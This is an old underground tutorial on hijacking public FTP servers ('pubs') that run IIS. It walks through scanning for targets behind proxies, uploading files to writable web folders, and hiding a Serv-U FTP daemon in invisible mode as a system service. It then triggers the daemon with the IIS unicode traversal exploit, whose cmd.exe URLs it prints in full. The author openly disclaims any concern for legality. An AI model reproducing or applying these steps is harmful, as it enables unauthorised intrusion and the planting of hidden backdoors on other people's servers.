Pub Haxoring ***Private*** Tutorial
(C) WX2 Productions
Note:
I don't care what you do with this information, and I don't care if
you go to jail. If you have no idea what this is about then you shouldn't
be reading it anyways. Like... if you don't no what a pub is then stop
reading right now.... and since this is the private version I sure hope
you no what a pub is
Requirements:
Firstly, if you are reading this 'private' version you should understand
that you may ***not*** distribute it in any way, if you do and if i
catch you you will pay ;)
Secondly, to find pubs that you can haxor you are going to need a big list
of pubs. To get these you can use programs like grim's ping, or for you
more advanced people, an IIS scanning program.
Thirdly, you will probably want some proxies to use. If you use grims
ping to scan you should be able to find a ton of wingates. And you can
find http proxies anywhere.
Serv-U set-up:
I like 2.5 and think that 3.0 is evil, but use whatever works for you.
You'll want it 2 run 'hidden' , in 3.0 that is easy than 2.5, but 3.0
is evil ;) You will want it running on a port other than 21, maybe
say port 1023. When you set it up, just like install it on your comp,
and do all the settings that way. You will want to set it to run as
a system service, and you'll want 'invisible mode'. In servu 2.5:
StartIconic=Yes
StartMaximized=No
Invisible=Yes
should be in your serv-u.ini file. If not, add them. In servu 3.0:
just make sure you only upload the servudaemon.exe and the
servudaemon.ini filez. Then it will automatically run 'hidden'
Haxoring
----------
First step:
The first thing to do once you have a big list of pubs is to put all their
ip's in your browser. If a site loads (even an under construction page)
then itz a possible choice. If nothing loads then move on.
Second step:
Once you find a pub that also has a web site running on the same computer
connect to it. If when you connect you see some html filez like main.htm
and index.html and maybe a default.asp, then you have a good chance of
being able to haxor this site. Make sure you have upload permission by
uploading a tmp file. If it works move on to step 3. If not, then look
around and see if you can find other folders that have html content that
you can upload to. If you see no folders with html stuff in them, or
you have no upload permission, then you are going to have to try another
one. (See advanced techniques for other ways to do this)
Third step:
Upload space.asp (it comes with grims ping) and try and load it off
their website (http://1.2.3.4/space.asp). If it loads, you will
get a listing of their HD space. If not, your last hope will be
the IIS hak in advanced techniques.
Fourth step:
Upload serv-u (serv-u.exe and serv-u.ini or servudaemon.exe and
servudaemon.ini) to the folder you found in step 2. Now go to your
browser and type in 'http://1.2.3.4/serv-u.exe' where 1.2.3.4 is the ip of
the site you are haxoring. If it just goes for a long time and nothing
seems to happen go back to your ftp program and try connecting to the
port you set serv-u to run on. If you connect, then you've successfully
haxored that pub =) If not... what might happen is once you type in the
servu.exe it might think you want to download it and try and send it to you.
There is ways around this, see advanced techniques for more info
Advanced Techniques:
| IIS hacks |
Say you find a web site, and you can only upload to the 'Imcoming' folder.
This is pretty useless if you are trying to haxor a pub right? or is it?
There are a few IIS unicode haks, i'll put one in here (because itz the only
one i know really well).
You can get the whole exploit here:
http://newdata.box.sk/2001/jul/unicode1.txt , but i'll summerize it here.
Take the website (for this example it'll be 1.2.3.4), and put this in
you browser:
http://1.2.3.4/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\
If it werks you will get a listing of their C:\ drive. If not you
will get an error. To run stuff use this URL:
http://1.2.3.4/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+call+c:\seru.exe
I think now you get the picture and can go from here =)
| ASP file stuff |
It runs space.asp nicely, but you've uploaded servu, but when you go to run it,
it just tries to d/l it to you. You've also tried the IIS hack, but it doesn't
werk. You are so close, but not quite there. Thats what the ASP file hack is
for. Basically if it will run .asp scripts then you can just make a .asp script
that will run servu for you. You will need to know the 'real' path to it, but
you can get that with an .asp file too. I have 2 .asp files that are mad just
for this, if you need them just ask (see contact information).
Well... that is basically it. You now have a nicely haxored pub. You may want
to move the servu.exe somewhere else on their HD say in the winnt folder, and
run it again from there.
Contact Information:
If you know where to contact me, feel free to contact me. If not, then to
bad.
Have fun